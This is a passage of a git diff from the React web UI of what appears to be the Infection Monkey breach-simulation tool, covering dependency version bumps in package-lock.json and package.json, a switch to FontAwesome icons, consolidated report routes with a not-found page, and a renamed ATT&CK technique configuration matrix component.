"yargs-parser": "^10.1.0" + "cliui": "4.1.0", + "decamelize": "1.2.0", + "find-up": "3.0.0", + "get-caller-file": "1.0.3", + "os-locale": "3.1.0", + "require-directory": "2.1.1", + "require-main-filename": "1.0.1", + "set-blocking": "2.0.0", + "string-width": "2.1.1", + "which-module": "2.0.0", + "y18n": "3.2.1", + "yargs-parser": "11.1.1" } }, "yargs-parser": { - "version": "10.1.0", - "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-10.1.0.tgz", - "integrity": "sha512-VCIyR1wJoEBZUqk5PA+oOBF6ypbwh5aNB3I50guxAL/quggdfs4TtNHQrSazFA3fYZ+tEqfs0zIGlv0c/rgjbQ==", + "version": "11.1.1", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-11.1.1.tgz", + "integrity": "sha512-C6kB/WJDiaxONLJQnF8ccx9SEeoTTLek8RVbaOIsrAUS8VrBEXfmeSnCZxygc+XC2sNMBIwOOnfcxiynjHsVSQ==", "dev": true, "requires": { - "camelcase": "^4.1.0" + "camelcase": "5.3.1", + "decamelize": "1.2.0" } } } @@ -20101,10 +21842,10 @@ "integrity": "sha512-U9AnICnu50HXtiqiDxuli5gLB5PGBo7VvcHx36jRZHwK4vzOYLbImqT4lwWwoMHdQWwEKw736fCHEekokTEKHA==", "dev": true, "requires": { - "chalk": "^2.1.0", - "log-symbols": "^2.1.0", - "loglevelnext": "^1.0.1", - "uuid": "^3.1.0" + "chalk": "2.4.1", + "log-symbols": "2.2.0", + "loglevelnext": "1.0.5", + "uuid": "3.2.1" }, "dependencies": { "ansi-styles": { @@ -20113,7 +21854,7 @@ "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", "dev": true, "requires": { - "color-convert": "^1.9.0" + "color-convert": "1.9.0" } }, "chalk": { @@ -20122,9 +21863,9 @@ "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", "dev": true, "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" + "ansi-styles": "3.2.1", + "escape-string-regexp": "1.0.5", + "supports-color": "5.5.0" } }, "has-flag": { @@ -20139,19 +21880,19 @@ "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", "dev": true, "requires": { - "has-flag": "^3.0.0" + "has-flag": "3.0.0" } } } }, "webpack-sources": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-1.3.0.tgz", - "integrity": "sha512-OiVgSrbGu7NEnEvQJJgdSFPl2qWKkWq5lHMhgiToIiN9w34EBnjYzSYs+VbL5KoYiLNtFFa7BZIKxRED3I32pA==", + "version": "1.4.3", + "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-1.4.3.tgz", + "integrity": "sha512-lgTS3Xhv1lCOKo7SA5TjKXMjpSM4sBjNV5+q2bqesbSPs5FjGmU6jjtBSkX9b4qW87vDIsCIlUPOEhbZrMdjeQ==", "dev": true, "requires": { - "source-list-map": "^2.0.0", - "source-map": "~0.6.1" + "source-list-map": "2.0.1", + "source-map": "0.6.1" }, "dependencies": { "source-map": { @@ -20163,13 +21904,14 @@ } }, "websocket-driver": { - "version": "0.7.0", - "resolved": "https://registry.npmjs.org/websocket-driver/-/websocket-driver-0.7.0.tgz", - "integrity": "sha1-DK+dLXVdk67gSdS90NP+LMoqJOs=", + "version": "0.7.3", + "resolved": "https://registry.npmjs.org/websocket-driver/-/websocket-driver-0.7.3.tgz", + "integrity": "sha512-bpxWlvbbB459Mlipc5GBzzZwhoZgGEZLuqPaR0INBGnPAY1vdBX6hPnoFXiw+3yWxDuHyQjO2oXTMyS8A5haFg==", "dev": true, "requires": { - "http-parser-js": ">=0.4.0", - "websocket-extensions": ">=0.1.1" + "http-parser-js": "0.4.10", + "safe-buffer": "5.1.1", + "websocket-extensions": "0.1.3" } }, "websocket-extensions": { @@ -20188,7 +21930,7 @@ "resolved": "https://registry.npmjs.org/which/-/which-1.3.0.tgz", "integrity": "sha1-/wS9/AEO5UfXgL7DjhrBwnd9JTo=", "requires": { - "isexe": "^2.0.0" + "isexe": "2.0.0" } }, "which-module": { @@ -20202,7 +21944,7 @@ "resolved": "https://registry.npmjs.org/wide-align/-/wide-align-1.1.3.tgz", "integrity": "sha512-QGkOQc8XL6Bt5PwnsExKBPuMKBxnGxWWW3fU55Xt4feHozMUhdUMaBCk290qpm/wG5u/RSKzwdAC4i51YigihA==", "requires": { - "string-width": "^1.0.2 || 2" + "string-width": "2.1.1" } }, "window-size": { @@ -20219,12 +21961,12 @@ "dev": true }, "worker-farm": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/worker-farm/-/worker-farm-1.6.0.tgz", - "integrity": "sha512-6w+3tHbM87WnSWnENBUvA2pxJPLhQUg5LKwUQHq3r+XPhIM+Gh2R5ycbwPCyuGbNg+lPgdcnQUhuC02kJCvffQ==", + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/worker-farm/-/worker-farm-1.7.0.tgz", + "integrity": "sha512-rvw3QTZc8lAxyVrqcSGVm5yP/IJ2UcB3U0graE3LCFoZ0Yn2x4EoVSqJKdB/T5M+FLcRPjz4TDacRf3OCfNUzw==", "dev": true, "requires": { - "errno": "~0.1.7" + "errno": "0.1.7" } }, "wrap-ansi": { @@ -20232,8 +21974,8 @@ "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-2.1.0.tgz", "integrity": "sha1-2Pw9KE3QV5T+hJc8rs3Rz4JP3YU=", "requires": { - "string-width": "^1.0.1", - "strip-ansi": "^3.0.1" + "string-width": "1.0.2", + "strip-ansi": "3.0.1" }, "dependencies": { "is-fullwidth-code-point": { @@ -20241,7 +21983,7 @@ "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz", "integrity": "sha1-754xOG8DGn8NZDr4L95QxFfvAMs=", "requires": { - "number-is-nan": "^1.0.0" + "number-is-nan": "1.0.1" } }, "string-width": { @@ -20249,9 +21991,9 @@ "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz", "integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=", "requires": { - "code-point-at": "^1.0.0", - "is-fullwidth-code-point": "^1.0.0", - "strip-ansi": "^3.0.0" + "code-point-at": "1.1.0", + "is-fullwidth-code-point": "1.0.0", + "strip-ansi": "3.0.1" } } } @@ -20262,12 +22004,12 @@ "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=" }, "write": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/write/-/write-0.2.1.tgz", - "integrity": "sha1-X8A4KOJkzqP+kUVUdvejxWbLB1c=", + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/write/-/write-1.0.3.tgz", + "integrity": "sha512-/lg70HAjtkUgWPVZhZcm+T4hkL8Zbtp1nFNOn3lRrxnlv50SRBv7cR7RqR+GMsd3hUXy9hWBo4CHTbFTcOYwig==", "dev": true, "requires": { - "mkdirp": "^0.5.1" + "mkdirp": "0.5.1" } }, "ws": { @@ -20276,9 +22018,9 @@ "integrity": "sha512-nnWLa/NwZSt4KQJu51MYlCcSQ5g7INpOrOMt4XV8j4dqTXdmlUmSHQ8/oLC069ckre0fRsgfvsKwbTdtKLCDkA==", "dev": true, "requires": { - "async-limiter": "~1.0.0", - "safe-buffer": "~5.1.0", - "ultron": "~1.1.0" + "async-limiter": "1.0.1", + "safe-buffer": "5.1.1", + "ultron": "1.1.1" } }, "xmlhttprequest-ssl": { @@ -20287,16 +22029,10 @@ "integrity": "sha1-wodrBhaKrcQOV9l+gRkayPQ5iz4=", "dev": true }, - "xregexp": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/xregexp/-/xregexp-4.0.0.tgz", - "integrity": "sha512-PHyM+sQouu7xspQQwELlGwwd05mXUFqwFYfqPO0cC7x4fxyHnnuetmQr6CjJiafIDoH4MogHb9dOoJzR/Y4rFg==", - "dev": true - }, "xtend": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.1.tgz", - "integrity": "sha1-pcbVMr5lbiPbgg77lDofBJmNY68=", + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz", + "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==", "dev": true }, "y18n": { @@ -20309,6 +22045,29 @@ "resolved": "https://registry.npmjs.org/yallist/-/yallist-2.1.2.tgz", "integrity": "sha1-HBH5IY8HYImkfdUS+TxmmaaoHVI=" }, + "yaml": { + "version": "1.7.2", + "resolved": "https://registry.npmjs.org/yaml/-/yaml-1.7.2.tgz", + "integrity": "sha512-qXROVp90sb83XtAoqE8bP9RwAkTTZbugRUTm5YeFCBfNRPEp2YzTeqWiz7m5OORHzEvrA/qcGS8hp/E+MMROYw==", + "requires": { + "@babel/runtime": "7.7.2" + }, + "dependencies": { + "@babel/runtime": { + "version": "7.7.2", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.7.2.tgz", + "integrity": "sha512-JONRbXbTXc9WQE2mAZd1p0Z3DZ/6vaQIkgYMSTP3KjRCyd7rCZCcfhCyX+YjwcKxcZ82UrxbRD358bpExNgrjw==", + "requires": { + "regenerator-runtime": "0.13.3" + } + }, + "regenerator-runtime": { + "version": "0.13.3", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.3.tgz", + "integrity": "sha512-naKIZz2GQ8JWh///G7L3X6LaQUAMp2lvb1rvwwsURe/VXwD6VMfr+/1NuNw3ag8v2kY1aQ/go5SNn79O9JU7yw==" + } + } + }, "yargs": { "version": "3.10.0", "resolved": "https://registry.npmjs.org/yargs/-/yargs-3.10.0.tgz", @@ -20316,25 +22075,26 @@ "dev": true, "optional": true, "requires": { - "camelcase": "^1.0.2", - "cliui": "^2.1.0", - "decamelize": "^1.0.0", + "camelcase": "1.2.1", + "cliui": "2.1.0", + "decamelize": "1.2.0", "window-size": "0.1.0" } }, "yargs-parser": { - "version": "9.0.2", - "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-9.0.2.tgz", - "integrity": "sha1-nM9qQ0YP5O1Aqbto9I1DuKaMwHc=", + "version": "13.1.1", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-13.1.1.tgz", + "integrity": "sha512-oVAVsHz6uFrg3XQheFII8ESO2ssAf9luWuAd6Wexsu4F3OtIW0o8IribPXYrD4WC24LWtPrJlGy87y5udK+dxQ==", "dev": true, "requires": { - "camelcase": "^4.1.0" + "camelcase": "5.3.1", + "decamelize": "1.2.0" }, "dependencies": { "camelcase": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-4.1.0.tgz", - "integrity": "sha1-1UVjW+HjPFQmScaRc+Xeas+uNN0=", + "version": "5.3.1", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", + "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", "dev": true } } @@ -20345,7 +22105,7 @@ "integrity": "sha1-lSj0QtqxsihOWLQ3m7GU4i4MQAU=", "dev": true, "requires": { - "fd-slicer": "~1.0.1" + "fd-slicer": "1.0.1" } }, "yeast": { diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index 4da085836..45740c0fc 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -5,8 +5,8 @@ "scripts": { "clean": "rimraf dist/*", "copy": "copyfiles -f ./src/index.html ./src/favicon.ico ./dist", - "dist": "webpack --mode production", - "dev": "webpack --mode development", + "dist": "webpack --mode production && copyfiles -f ./src/favicon.ico ./dist", + "dev": "webpack --mode development && copyfiles -f ./src/favicon.ico ./dist", "lint": "eslint ./src", "posttest": "npm run lint", "release:major": "npm version major && npm publish && git push --follow-tags", @@ -14,7 +14,7 @@ "release:patch": "npm version patch && npm publish && git push --follow-tags", "serve": "node server.js --env=dev", "serve:dist": "node server.js --env=dist", - "start": "webpack-dev-server --mode development --open --history-api-fallback --port 8000", + "start": "webpack-dev-server --verbose --mode development --open --history-api-fallback --port 8000", "test": "karma start", "test:watch": "karma start --autoWatch=true --singleRun=false" }, @@ -33,16 +33,16 @@ "babel-preset-stage-0": "^6.5.0", "bower-webpack-plugin": "^0.1.9", "chai": "^4.2.0", - "copyfiles": "^2.1.0", - "css-loader": "^1.0.0", - "eslint": "^5.6.1", - "eslint-loader": "^2.1.1", - "eslint-plugin-react": "^7.11.1", + "copyfiles": "^2.1.1", + "css-loader": "^1.0.1", + "eslint": "^5.16.0", + "eslint-loader": "^2.2.1", + "eslint-plugin-react": "^7.16.0", "file-loader": "^1.1.11", - "glob": "^7.1.3", + "glob": "^7.1.6", "html-loader": "^0.5.5", "html-webpack-plugin": "^3.2.0", - "karma": "^3.0.0", + "karma": "^3.1.4", "karma-chai": "^0.1.0", "karma-coverage": "^1.1.2", "karma-mocha": "^1.0.0", @@ -56,55 +56,60 @@ "phantomjs-prebuilt": "^2.1.16", "react-addons-test-utils": "^15.6.2", "react-event-timeline": "^1.6.3", - "react-hot-loader": "^4.3.11", - "rimraf": "^2.6.2", + "react-hot-loader": "^4.12.18", + "rimraf": "^2.7.1", "style-loader": "^0.22.1", "url-loader": "^1.1.2", - "webpack": "^4.20.2", - "webpack-cli": "^3.1.2", - "webpack-dev-server": "^3.1.9" + "webpack": "^4.41.2", + "webpack-cli": "^3.3.10", + "webpack-dev-server": "^3.9.0" }, "dependencies": { - "@emotion/core": "^10.0.10", - "@kunukn/react-collapse": "^1.0.5", - "bootstrap": "3.4.1", + "@emotion/core": "^10.0.22", + "@fortawesome/fontawesome-svg-core": "^1.2.25", + "@fortawesome/free-regular-svg-icons": "^5.11.2", + "@fortawesome/free-solid-svg-icons": "^5.11.2", + "@fortawesome/react-fontawesome": "^0.1.7", + "@kunukn/react-collapse": "^1.2.7", + "bootstrap": "^3.4.1", "classnames": "^2.2.6", - "core-js": "^2.5.7", - "d3": "^5.11.0", + "core-js": "^2.6.10", + "d3": "^5.14.1", "downloadjs": "^1.4.7", "fetch": "^1.1.0", "file-saver": "^2.0.2", - "filepond": "^4.2.0", - "js-file-download": "^0.4.4", + "filepond": "^4.7.3", "json-loader": "^0.5.7", "jwt-decode": "^2.2.0", - "moment": "^2.22.2", - "node-sass": "^4.11.0", + "marked": "^0.8.2", + "moment": "^2.24.0", + "node-sass": "^4.13.0", "normalize.css": "^8.0.0", - "npm": "^6.4.1", - "prop-types": "^15.6.2", - "rc-progress": "^2.2.6", - "react": "^16.5.2", + "npm": "^6.13.1", + "pluralize": "^7.0.0", + "prop-types": "^15.7.2", + "rainge": "^1.0.1", + "rc-progress": "^2.5.2", + "react": "^16.12.0", "react-bootstrap": "^0.32.4", - "react-copy-to-clipboard": "^5.0.1", + "react-copy-to-clipboard": "^5.0.2", "react-data-components": "^1.2.0", "react-desktop-notification": "^1.0.9", "react-dimensions": "^1.3.0", - "react-dom": "^16.5.2", + "react-dom": "^16.12.0", "react-fa": "^5.0.0", "react-filepond": "^7.0.1", - "react-graph-vis": "^1.0.2", - "react-json-tree": "^0.11.0", - "react-jsonschema-form": "^1.0.5", - "react-redux": "^5.1.1", + "react-graph-vis": "^1.0.5", + "react-json-tree": "^0.11.2", + "react-jsonschema-form": "^1.8.0", + "react-redux": "^5.1.2", "react-router-dom": "^4.3.1", - "react-spinners": "^0.5.4", - "react-table": "^6.8.6", - "react-toggle": "^4.0.1", - "react-tooltip-lite": "^1.9.1", - "redux": "^4.0.0", - "sass-loader": "^7.1.0", - "sha3": "^2.0.0", - "pluralize": "^7.0.0" + "react-spinners": "^0.5.13", + "react-table": "^6.10.3", + "react-toggle": "^4.1.1", + "react-tooltip-lite": "^1.10.0", + "redux": "^4.0.4", + "sass-loader": "^7.3.1", + "sha3": "^2.0.7" } } diff --git a/monkey/monkey_island/cc/ui/server.js b/monkey/monkey_island/cc/ui/server.js index ec9182cde..49045359e 100644 --- a/monkey/monkey_island/cc/ui/server.js +++ b/monkey/monkey_island/cc/ui/server.js @@ -14,19 +14,19 @@ let isInitialCompilation = true; const compiler = webpack(config); new WebpackDevServer(compiler, config.devServer) -.listen(config.port, 'localhost', (err) => { - if (err) { - console.log(err); - } - console.log('Listening at localhost:' + config.port); -}); + .listen(config.port, 'localhost', (err) => { + if (err) { + console.log(err); + } + console.log('Listening at localhost:' + config.port); + }); compiler.plugin('done', () => { if (isInitialCompilation) { // Ensures that we log after webpack printed its stats (is there a better way?) setTimeout(() => { console.log('\n✓ The bundle is now ready for serving!\n'); - console.log(' Open in iframe mode:\t\x1b[33m%s\x1b[0m', 'http://localhost:' + config.port + '/webpack-dev-server/'); + console.log(' Open in iframe mode:\t\x1b[33m%s\x1b[0m', 'http://localhost:' + config.port + '/webpack-dev-server/'); console.log(' Open in inline mode:\t\x1b[33m%s\x1b[0m', 'http://localhost:' + config.port + '/\n'); console.log(' \x1b[33mHMR is active\x1b[0m. The bundle will automatically rebuild and live-update on changes.') }, 350); diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js index 09038292e..b4325e55c 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.js +++ b/monkey/monkey_island/cc/ui/src/components/Main.js @@ -1,7 +1,8 @@ import React from 'react'; -import {BrowserRouter as Router, NavLink, Redirect, Route} from 'react-router-dom'; +import {BrowserRouter as Router, NavLink, Redirect, Route, Switch} from 'react-router-dom'; import {Col, Grid, Row} from 'react-bootstrap'; -import {Icon} from 'react-fa'; +import { FontAwesomeIcon } from '@fortawesome/react-fontawesome' +import { faCheck, faUndo } from '@fortawesome/free-solid-svg-icons' import RunServerPage from 'components/pages/RunServerPage'; import ConfigurePage from 'components/pages/ConfigurePage'; @@ -10,11 +11,11 @@ import MapPage from 'components/pages/MapPage'; import TelemetryPage from 'components/pages/TelemetryPage'; import StartOverPage from 'components/pages/StartOverPage'; import ReportPage from 'components/pages/ReportPage'; -import ZeroTrustReportPage from 'components/pages/ZeroTrustReportPage'; import LicensePage from 'components/pages/LicensePage'; import AuthComponent from 'components/AuthComponent'; import LoginPageComponent from 'components/pages/LoginPage'; -import Notifier from "react-desktop-notification" +import Notifier from 'react-desktop-notification'; +import NotFoundPage from 'components/pages/NotFoundPage'; import 'normalize.css/normalize.css'; @@ -22,14 +23,14 @@ import 'react-data-components/css/table-twbs.css'; import 'styles/App.css'; import 'react-toggle/style.css'; import 'react-table/react-table.css'; -import VersionComponent from "./side-menu/VersionComponent"; +import VersionComponent from './side-menu/VersionComponent'; let logoImage = require('../images/monkey-icon.svg'); let infectionMonkeyImage = require('../images/infection-monkey.svg'); let guardicoreLogoImage = require('../images/guardicore-logo.png'); let notificationIcon = require('../images/notification-logo-512x512.png'); -const reportZeroTrustRoute = '/report/zero_trust'; +const reportZeroTrustRoute = '/report/zeroTrust'; class AppComponent extends AuthComponent { updateStatus = () => { @@ -63,7 +64,7 @@ class AppComponent extends AuthComponent { }; renderRoute = (route_path, page_component, is_exact_path = false) => { - let render_func = (props) => { + let render_func = () => { switch (this.state.isLoggedIn) { case true: return page_component; @@ -82,6 +83,13 @@ class AppComponent extends AuthComponent { } }; + redirectTo = (userPath, targetPath) => { + let pathQuery = new RegExp(userPath+'[\/]?$', 'g'); + if(window.location.pathname.match(pathQuery)){ + return <Redirect to={{pathname: targetPath}}/> + } + }; + constructor(props) { super(props); this.state = { @@ -92,7 +100,7 @@ class AppComponent extends AuthComponent { infection_done: false, report_done: false, isLoggedIn: undefined - }, + } }; } @@ -103,7 +111,7 @@ class AppComponent extends AuthComponent { componentDidMount() { this.updateStatus(); - this.interval = setInterval(this.updateStatus, 5000); + this.interval = setInterval(this.updateStatus, 10000); } componentWillUnmount() { @@ -115,61 +123,57 @@ class AppComponent extends AuthComponent { <Router> <Grid fluid={true}> <Row> - <Col sm={3} md={2} className="sidebar"> - <div className="header"> + <Col sm={3} md={2} className='sidebar'> + <div className='header'> <img src={logoImage} style={{width: '5vw', margin: '15px'}}/> - <img src={infectionMonkeyImage} style={{width: '15vw'}} alt="Infection Monkey"/> + <img src={infectionMonkeyImage} style={{width: '15vw'}} alt='Infection Monkey'/> </div> - <ul className="navigation"> + <ul className='navigation'> <li> - <NavLink to="/" exact={true}> - <span className="number">1.</span> + <NavLink to='/' exact={true}> + <span className='number'>1.</span> Run Monkey Island Server {this.state.completedSteps.run_server ? - <Icon name="check" className="pull-right checkmark text-success"/> + <FontAwesomeIcon icon={faCheck} className='pull-right checkmark text-success'/> : ''} </NavLink> </li> <li> - <NavLink to="/run-monkey"> - <span className="number">2.</span> + <NavLink to='/run-monkey'> + <span className='number'>2.</span> Run Monkey {this.state.completedSteps.run_monkey ? - <Icon name="check" className="pull-right checkmark text-success"/> + <FontAwesomeIcon icon={faCheck} className='pull-right checkmark text-success'/> : ''} </NavLink> </li> <li> - <NavLink to="/infection/map"> - <span className="number">3.</span> + <NavLink to='/infection/map'> + <span className='number'>3.</span> Infection Map {this.state.completedSteps.infection_done ? - <Icon name="check" className="pull-right checkmark text-success"/> + <FontAwesomeIcon icon={faCheck} className='pull-right checkmark text-success'/> : ''} </NavLink> </li> <li> - <NavLink to="/report/security"> - <span className="number">4.</span> - Security Report + <NavLink to='/report/security' + isActive={(match, location) => { + return (location.pathname === '/report/attack' + || location.pathname === '/report/zeroTrust' + || location.pathname === '/report/security') + }}> + <span className='number'>4.</span> + Security Reports {this.state.completedSteps.report_done ? - <Icon name="check" className="pull-right checkmark text-success"/> + <FontAwesomeIcon icon={faCheck} className='pull-right checkmark text-success'/> : ''} </NavLink> </li> <li> - <NavLink to="/report/zero_trust"> - <span className="number">5.</span> - Zero Trust Report - {this.state.completedSteps.report_done ? - <Icon name="check" className="pull-right checkmark text-success"/> - : ''} - </NavLink> - </li> - <li> - <NavLink to="/start-over"> - <span className="number"><i className="fa fa-undo" style={{'marginLeft': '-1px'}}/></span> + <NavLink to='/start-over'> + <span className='number'><FontAwesomeIcon icon={faUndo} style={{'marginLeft': '-1px'}}/></span> Start Over </NavLink> </li> @@ -177,33 +181,39 @@ class AppComponent extends AuthComponent { <hr/> <ul> - <li><NavLink to="/configure">Configuration</NavLink></li> - <li><NavLink to="/infection/telemetry">Log</NavLink></li> + <li><NavLink to='/configure'>Configuration</NavLink></li> + <li><NavLink to='/infection/telemetry'>Log</NavLink></li> </ul> <hr/> - <div className="guardicore-link text-center" style={{'marginBottom': '0.5em'}}> + <div className='guardicore-link text-center' style={{'marginBottom': '0.5em'}}> <span>Powered by</span> - <a href="http://www.guardicore.com" target="_blank"> - <img src={guardicoreLogoImage} alt="GuardiCore"/> + <a href='http://www.guardicore.com' target='_blank'> + <img src={guardicoreLogoImage} alt='GuardiCore'/> </a> </div> - <div className="license-link text-center"> - <NavLink to="/license">License</NavLink> + <div className='license-link text-center'> + <NavLink to='/license'>License</NavLink> </div> <VersionComponent/> </Col> - <Col sm={9} md={10} smOffset={3} mdOffset={2} className="main"> - <Route path='/login' render={(props) => (<LoginPageComponent onStatusChange={this.updateStatus}/>)}/> + <Col sm={9} md={10} smOffset={3} mdOffset={2} className='main'> + + <Switch> + <Route path='/login' render={() => (<LoginPageComponent onStatusChange={this.updateStatus}/>)}/> {this.renderRoute('/', <RunServerPage onStatusChange={this.updateStatus}/>, true)} {this.renderRoute('/configure', <ConfigurePage onStatusChange={this.updateStatus}/>)} {this.renderRoute('/run-monkey', <RunMonkeyPage onStatusChange={this.updateStatus}/>)} {this.renderRoute('/infection/map', <MapPage onStatusChange={this.updateStatus}/>)} {this.renderRoute('/infection/telemetry', <TelemetryPage onStatusChange={this.updateStatus}/>)} {this.renderRoute('/start-over', <StartOverPage onStatusChange={this.updateStatus}/>)} - {this.renderRoute('/report/security', <ReportPage onStatusChange={this.updateStatus}/>)} - {this.renderRoute(reportZeroTrustRoute, <ZeroTrustReportPage onStatusChange={this.updateStatus}/>)} + {this.redirectTo('/report', '/report/security')} + {this.renderRoute('/report/security', <ReportPage/>)} + {this.renderRoute('/report/attack', <ReportPage/>)} + {this.renderRoute('/report/zeroTrust', <ReportPage/>)} {this.renderRoute('/license', <LicensePage onStatusChange={this.updateStatus}/>)} + <Route component={NotFoundPage} /> + </Switch> </Col> </Row> </Grid> @@ -219,8 +229,8 @@ class AppComponent extends AuthComponent { const url = `${protocol}//${hostname}:${port}${reportZeroTrustRoute}`; Notifier.start( - "Monkey Island", - "Infection is done! Click here to go to the report page.", + 'Monkey Island', + 'Infection is done! Click here to go to the report page.', url, notificationIcon); } @@ -228,7 +238,7 @@ class AppComponent extends AuthComponent { shouldShowNotification() { // No need to show the notification to redirect to the report if we're already in the report page - return (this.state.completedSteps.infection_done && !window.location.pathname.startsWith("/report")); + return (this.state.completedSteps.infection_done && !window.location.pathname.startsWith('/report')); } } diff --git a/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js b/monkey/monkey_island/cc/ui/src/components/attack/ConfigMatrixComponent.js similarity index 51% rename from monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js rename to monkey/monkey_island/cc/ui/src/components/attack/ConfigMatrixComponent.js index 2e7ef4fc3..d6fd2d12a 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/MatrixComponent.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/ConfigMatrixComponent.js @@ -2,103 +2,107 @@ import React from 'react'; import Checkbox from '../ui-components/Checkbox' import Tooltip from 'react-tooltip-lite' import AuthComponent from '../AuthComponent'; -import ReactTable from "react-table"; +import ReactTable from 'react-table'; import 'filepond/dist/filepond.min.css'; import '../../styles/Tooltip.scss'; -import {Col} from "react-bootstrap"; +import {Col} from 'react-bootstrap'; -class MatrixComponent extends AuthComponent { +import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'; +import { faCircle as faCircle } from '@fortawesome/free-solid-svg-icons'; +import { faCircle as faCircleThin } from '@fortawesome/free-regular-svg-icons'; + +class ConfigMatrixComponent extends AuthComponent { constructor(props) { super(props); this.state = {lastAction: 'none'} - }; + } // Finds which attack type has most techniques and returns that number - static findMaxTechniques(data){ + static findMaxTechniques(data) { let maxLen = 0; - data.forEach(function(techType) { - if (Object.keys(techType.properties).length > maxLen){ + data.forEach(function (techType) { + if (Object.keys(techType.properties).length > maxLen) { maxLen = Object.keys(techType.properties).length } }); return maxLen - }; + } // Parses ATT&CK config schema into data suitable for react-table (ATT&CK matrix) - static parseTechniques (data, maxLen) { + static parseTechniques(data, maxLen) { let techniques = []; // Create rows with attack techniques for (let i = 0; i < maxLen; i++) { let row = {}; - data.forEach(function(techType){ + data.forEach(function (techType) { let rowColumn = {}; rowColumn.techName = techType.title; if (i <= Object.keys(techType.properties).length) { rowColumn.technique = Object.values(techType.properties)[i]; - if (rowColumn.technique){ - rowColumn.technique.name = Object.keys(techType.properties)[i] + if (rowColumn.technique) { + rowColumn.technique.name = Object.keys(techType.properties)[i]; } } else { - rowColumn.technique = null + rowColumn.technique = null; } - row[rowColumn.techName] = rowColumn + row[rowColumn.techName] = rowColumn; }); techniques.push(row) } return techniques; - }; + } getColumns(matrixData) { - return Object.keys(matrixData[0]).map((key)=>{ + return Object.keys(matrixData[0]).map((key) => { return { Header: key, id: key, accessor: x => this.renderTechnique(x[key].technique), - style: { 'whiteSpace': 'unset' } + style: {'whiteSpace': 'unset'} }; }); } renderTechnique(technique) { - if (technique == null){ - return (<div />) + if (technique == null) { + return (<div/>) } else { return (<Tooltip content={technique.description} direction="down"> - <Checkbox checked={technique.value} - necessary={technique.necessary} - name={technique.name} - changeHandler={this.props.change}> - {technique.title} - </Checkbox> - </Tooltip>) + <Checkbox checked={technique.value} + necessary={technique.necessary} + name={technique.name} + changeHandler={this.props.change}> + {technique.title} + </Checkbox> + </Tooltip>) } - }; + } getTableData = (config) => { let configCopy = JSON.parse(JSON.stringify(config)); - let maxTechniques = MatrixComponent.findMaxTechniques(Object.values(configCopy)); - let matrixTableData = MatrixComponent.parseTechniques(Object.values(configCopy), maxTechniques); + let maxTechniques = ConfigMatrixComponent.findMaxTechniques(Object.values(configCopy)); + let matrixTableData = ConfigMatrixComponent.parseTechniques(Object.values(configCopy), maxTechniques); let columns = this.getColumns(matrixTableData); return {'columns': columns, 'matrixTableData': matrixTableData, 'maxTechniques': maxTechniques} }; renderLegend = () => { return ( - <div id="header" className="row justify-content-between attack-legend"> - <Col xs={4}> - <i className="fa fa-circle-thin icon-unchecked"></i> - <span> - Dissabled</span> - </Col> - <Col xs={4}> - <i className="fa fa-circle icon-checked"></i> - <span> - Enabled</span> - </Col> - <Col xs={4}> - <i className="fa fa-circle icon-mandatory"></i> - <span> - Mandatory</span> - </Col> - </div>) + <div id="header" className="row justify-content-between attack-legend"> + <Col xs={4}> + <FontAwesomeIcon icon={faCircleThin} className="icon-unchecked"/> + <span> - Disabled</span> + </Col> + <Col xs={4}> + <FontAwesomeIcon icon={faCircle} className="icon-checked"/> + <span> - Enabled</span> + </Col> + <Col xs={4}> + <FontAwesomeIcon icon={faCircle} className="icon-mandatory"/> + <span> - 